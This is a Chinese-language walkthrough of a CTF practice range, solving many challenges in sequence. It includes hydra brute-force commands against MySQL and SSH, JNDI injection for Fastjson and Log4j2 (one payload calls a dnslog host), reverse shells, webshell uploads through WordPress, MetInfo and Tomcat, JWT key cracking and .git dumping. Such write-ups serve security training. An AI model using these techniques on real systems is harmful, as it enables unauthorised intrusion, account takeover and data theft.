极核靶场通关
Mysql - 密码爆破
已经指定目标用户名为 root,使用 hydra 工具爆破密码
1 | hydra -l root -P /usr/share/wordlists/rockyou.txt mysql://node.hackhub.get-shell.com:51236 -t 4 |

爆破得到密码,使用数据库工具(例如 Navicat)连接即可找到 flag
SSH - 密码爆破
给出的默认用户名是 user,仍然使用 hydra 工具爆破密码
1 | hydra -l user -P /usr/share/wordlists/rockyou.txt ssh://node.hackhub.get-shell.com:62621 -t 4 |

爆破得到密码,ssh 工具连接,直接读 flag 发现没有权限,root 密码不知道,但是我们知道 user 的密码,使用 sudo 执行命令,输入 user 密码,即可得到 flag
Fastjson 1.2.47 - 远程代码执行
在登陆处抓包,发现账号密码是通过 json 进行数据传输
构造 POST 数据,删除末尾的大括号使其报错,发现是标准的 fastjson 后端
POST 发送如下数据包,在 dnslog 上接收到请求,证明漏洞存在
1 | { |

利用报错查看精确版本号,fastjson1.2.47,网上自己找找相关漏洞文章
1 | { |

通过恶意 JNDI 地址让靶机加载并执行远程代码,这里执行的反弹命令必须是 nc,没有 bash
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip" |
将生成的 JNDI 地址写入 POST 数据包对应位置,攻击机开启监听,发送数据包,即可拿到 shell
1 | { |

GeoServer - 远程代码执行
进入 geoserver 首页,先抓个包,POST 方式在 /geoserver/wfs 路由提交以下数据反弹 shell
需要修改一下 Content-Type 为 application/xml
1 | <wfs:GetPropertyValue service='WFS' version='2.0.0' |

Log4j2 - 远程代码执行
首先利用 dnslog 判断漏洞是否存在,同时探测一下 java 版本
1 | /solr/admin/cores?action=${jndi:ldap://${sys:java.version}.f9dvag.dnslog.cn} |
dnslog 收到请求,漏洞存在,同时判断出 java 版本是 1.8

然后还是使用 JNDI 注入工具生成恶意 JNDI 地址,执行反弹 shell 命令
1 | java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "想要执行的命令" -A "攻击机的ip" |
将生成的地址填入以下 payload 对应位置,同时攻击机开启监听
1 | /solr/admin/cores?action=${jndi:ldap://ip:port/flnl6n} |
成功拿到 shell,得到 flag

MetInfo 4.0
MetInfo 4.0 存在一个修改任意用户密码的漏洞,先注册一个用户登陆,登陆后抓一个修改信息的包,将用户名修改为 admin,重放,提示操作成功,此时我们已经将管理员的信息修改为原本注册账号的信息了

访问 /admin/ 目录进入后台,管理员账号密码是刚修改的
写一个一句话木马,打包成压缩包,在界面风格->模板管理->添加新模板处上传木马压缩包,上传后会自动将压缩包里面的 shell.php 文件解压到网站的 /templates/ 目录下

蚁剑成功连接,根目录找到 flag
Shiro550 - Shiro反序列化
特征是勾选记住密码后,登陆响应包中有 Set-Cookie: rememberMe=deleteMe; 字段
使用 Shiro 反序列化工具一把梭

SpringBoot - 信息泄露
主界面什么都没有,dirsearch 扫一下目录
1 | python dirsearch.py -u "http://node.hackhub.get-shell.com:55748/" |

发现 /admin 路由是后台地址,/actuator 路由是所有存在的断点
访问 /actuator/env 发现网站用户名 webadmin
下载 JAVA 堆栈文件 heapdump,使用工具 JDumpSpider 提取敏感信息,命令如下:
1 | java -jar .\JDumpSpider.jar .\heapdump |
得到后台账号密码
1 | admin.username = webadmin |
访问 /admin/ 路由登陆后台即可得到 flag
ThinkPHP 5.0.23 - 远程代码执行
thinkphp 综合利用工具一把梭

WordPress - “花咲雨町”
靶机搭建的应用程序是 WordPress,在 /wp-json/wp/v2/users API 端点可以查看用户列表,访问发现只有一个用户,用户名为 webadmin
在 xmlrpc.php 文件下通过 POST 方式发送数据,查询可以使用哪些方法
1 | <methodCall> |
发现有很多方法可以用,使用 wp.getUsersBlogs 方法来爆破密码,数据包如下
1 | <methodCall> |

爆破得到密码为 admin123,登陆后台,在后台管理->插件->上传插件处上传我们下载好的插件
在 WordPress 官方地址下载插件
1 | https://cn.wordpress.org/plugins/ |
随便下载一个然后在插件目录下写一个 shell.php,再重新打包上传到后台插件处上传

启用插件,查看可以看到插件已经成功加载,shell.php 文件也存在

WordPress 的插件目录在 /wp-content/plugins/,后面加上自己下载的插件目录和木马名,蚁剑连接成功,在根目录下得到 flag

哪吒监控
默认账号密码 admin/admin 登陆,直接进入命令行执行命令

彩虹目录列表
进入后台管理,弱口令爆破得到账号密码为 admin/123456, 登陆后台后进入首页可以任意上传文件

直接上传一句话木马,访问连接即可
朵米客服平台
首先注册登陆进入后台,在后台系统设置->广告设置处可以上传图片,bp 抓一个上传文件的包
修改 POST 数据包,将 data:image/jpeg 更改为 data:image/php,base64 的内容替换为 base64 编码的一句话木马,成功上传

拼接 url 地址,蚁剑成功连接,根目录下找到 flag

.Git - 目录信息泄露
使用 dirsearch 目录扫描,发现存在 .git 目录,目录下还有很多文件

先使用 githacker 将 .git 目录打包下载下来,然后使用 lazygit 工具查看之前的提交,得到 flag
1 | githacker --url http://example.com/.git/ --output-folder result |

Alist - 粗心的配置
访问靶机,是一些文件,将 .bash_history 文件下载下来,发现里面写有账号密码信息,admin/123456
登陆后即可管理存储信息,将页面显示的文件由 /root 改为 / 下的文件,保存

再次访问主界面就可以看到机器根目录下的文件,得到 flag

Druid - 未授权登录爆破
点击数据看板,提示 Hi,这是一个API接口,看看API路径有什么吧!

根据提示,我们对 /api/ 目录进行爆破,扫到 druid 的登陆界面 /api/druid/login.html

猜测账号名为 druid,弱口令爆破得到账号密码 druid/123456,登陆进去即可得到 flag
JBoss
题目提示存在 CVE-2017-7504 反序列化漏洞
访问 /jbossmq-httpil/HTTPServerILServlet,出现如下界面,说明漏洞存在

手工没复现出来不知道什么原因,shell 一直弹不上,这里直接工具一把梭了

JWT Token - 垂直越权漏洞
在 cookie 中拿到 jwt,使用的是 HS256 算法,爆破拿到密钥 123456,修改 login_user_key 字段为 admin,再重新加密,将重新加密后的 jwt 放入cookie 中,刷新即可进入管理员界面

进入后台之后,根据提示,在 用户管理->备注 中拿到 flag

Nacos
进入后显示 404,拼接 /nacos 路由进入登陆界面
测试发现可以未授权查看用户信息,拼接如下路由即可看到系统中的登陆用户,得到 flag
1 | /nacos/v1/auth/users?pageNo=1&pageSize=10 |

Tomcat Manager - 恶意文件上传
弱口令 tomcat/tomcat 登陆后台,后台处可以上传恶意的 war 文件

将天蝎权限管理工具自带的 jsp webshell 压缩,得到恶意 war 文件
1 | jar cvf api.war api.jsp |
上传该 war 文件,访问 /api/api.jsp 路由,发现成功解析,天蝎成功连接,拿到 flag

Vite开发服务器 - 任意文件读取
CVE-2025-30208,利用非常简单,直接拼接 /@fs/flag?import&raw?? 即可拿到 flag








